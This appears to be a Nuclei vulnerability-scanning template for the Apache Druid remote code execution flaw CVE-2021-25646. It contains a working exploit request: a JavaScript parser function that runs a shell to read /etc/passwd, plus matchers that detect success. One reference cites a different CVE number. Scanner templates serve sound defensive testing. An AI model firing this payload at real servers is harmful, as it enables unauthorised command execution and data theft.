nuclei-templates/http/cves/2021/CVE-2021-25646.yaml

97 lines
3.0 KiB
YAML

id: CVE-2021-25646
info:
name: Apache Druid - Remote Code Execution
author: pikpikcu
severity: high
description: |
Apache Druid is susceptible to remote code execution because by default it lacks authorization and authentication. Attackers can send specially crafted requests to execute arbitrary code with the privileges of processes on the Druid server.
remediation: |
Apply the latest security patches or upgrade to a patched version of Apache Druid.
reference:
- https://paper.seebug.org/1476/
- https://lists.apache.org/thread.html/rfda8a3aa6ac06a80c5cbfdeae0fc85f88a5984e32ea05e6dda46f866%40%3Cdev.druid.apache.org%3E
- http://www.openwall.com/lists/oss-security/2021/01/29/6
- https://lists.apache.org/thread.html/r64431c2b97209f566b5dff92415e7afba0ed3bfab4695ebaa8a62e5d@%3Cdev.druid.apache.org%3E
- https://nvd.nist.gov/vuln/detail/CVE-2021-25864
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2021-25646
cwe-id: CWE-732
epss-score: 0.97284
epss-percentile: 0.99831
cpe: cpe:2.3:a:apache:druid:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: apache
product: druid
tags: cve,cve2021,apache,rce,druid
http:
- raw:
- |
POST /druid/indexer/v1/sampler HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"type":"index",
"spec":{
"ioConfig":{
"type":"index",
"firehose":{
"type":"local",
"baseDir":"/etc",
"filter":"passwd"
}
},
"dataSchema":{
"dataSource":"odgjxrrrePz",
"parser":{
"parseSpec":{
"format":"javascript",
"timestampSpec":{
},
"dimensionsSpec":{
},
"function":"function(){var hTVCCerYZ = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"/bin/sh`@~-c`@~cat /etc/passwd\".split(\"`@~\")).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:\"4137368\",OQtGXcxBVQVL: hTVCCerYZ}}",
"":{
"enabled":"true"
}
}
}
}
},
"samplerConfig":{
"numRows":10
}
}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "numRowsRead"
- "numRowsIndexed"
condition: and
- type: word
part: header
words:
- "application/json"
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 490a004630440220656adf123b4291e0ca27fb05a96b602f4e099d7af38d38fd4d563e6e8853c8dd02207954f0f816111a238e81355fcdd13935cb13dfc7b4bf5efdf85b65f0eaaf88be:922c64590222798bb761d5b6d8e72950